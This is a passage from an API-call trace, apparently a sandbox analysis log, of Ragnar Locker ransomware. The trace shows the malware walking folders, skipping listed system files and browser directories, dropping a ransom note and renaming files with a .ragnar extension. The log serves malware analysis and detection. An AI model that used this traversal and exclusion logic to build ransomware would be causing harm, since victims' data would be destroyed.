nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0056.818] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0056.818] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.818] lstrcpyW (in: lpString1=0x1eab72, lpString2="symbols.xml" | out: lpString1="symbols.xml") returned="symbols.xml" [0056.818] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned=".xml" [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="autorun.inf") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="boot.ini") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="bootfont.bin") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="bootsect.bak") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="bootmgr") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="bootmgr.efi") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="bootmgfw.efi") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="desktop.ini") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="iconcache.db") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="ntldr") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="ntuser.dat") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="ntuser.dat.log") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="ntuser.ini") returned 1 [0056.818] lstrcmpiW (lpString1="symbols.xml", lpString2="thumbs.db") returned -1 [0056.818] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.819] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.819] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.819] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.819] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.819] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.819] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0056.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.854] CloseHandle (hObject=0xffffffff) returned 0 [0056.854] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" [0056.854] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.ragnar_FD7BD9FC" [0056.854] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.854] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73dd8a40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73dd8a40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0056.855] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0056.855] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.855] lstrcpyW (in: lpString1=0x1eab72, lpString2="web.xml" | out: lpString1="web.xml") returned="web.xml" [0056.855] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned=".xml" [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="autorun.inf") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="boot.ini") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="bootfont.bin") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="bootsect.bak") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="bootmgr") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="bootmgr.efi") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="bootmgfw.efi") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="desktop.ini") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="iconcache.db") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="ntldr") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="ntuser.dat") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="ntuser.dat.log") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="ntuser.ini") returned 1 [0056.855] lstrcmpiW (lpString1="web.xml", lpString2="thumbs.db") returned 1 [0056.855] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.855] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.855] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.855] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.855] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.855] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.855] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0056.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.856] CloseHandle (hObject=0xffffffff) returned 0 [0056.856] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" [0056.856] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.ragnar_FD7BD9FC" [0056.856] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.856] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0056.856] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.856] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2=".") returned 1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="..") returned 1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Windows") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Windows.old") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Tor browser") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Internet Explorer") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Google") returned 1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Opera") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Opera Software") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Mozilla") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="Mozilla Firefox") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="$Recycle.Bin") returned 1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="ProgramData") returned -1 [0056.856] lstrcmpiW (lpString1="he-IL", lpString2="All Users") returned 1 [0056.856] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.856] lstrcpyW (in: lpString1=0x1eb62e, lpString2="he-IL" | out: lpString1="he-IL") returned="he-IL" [0056.856] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\" [0056.856] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\" [0056.856] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\RGNR_FD7BD9FC.txt" [0056.857] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.859] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*" [0056.859] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.859] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.859] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.859] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.859] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.859] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.859] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.859] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74229220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.859] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.859] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.859] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.859] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0056.859] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0056.859] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.859] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.860] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.860] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74229220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.860] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.860] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.860] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.860] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.860] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.860] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.860] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0056.860] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned=".mui" [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0056.860] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0056.860] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0056.860] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0056.860] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0056.860] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0056.860] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0056.860] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0056.861] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0056.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0056.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.861] CloseHandle (hObject=0xffffffff) returned 0 [0056.861] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" [0056.861] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.ragnar_FD7BD9FC" [0056.861] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.861] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 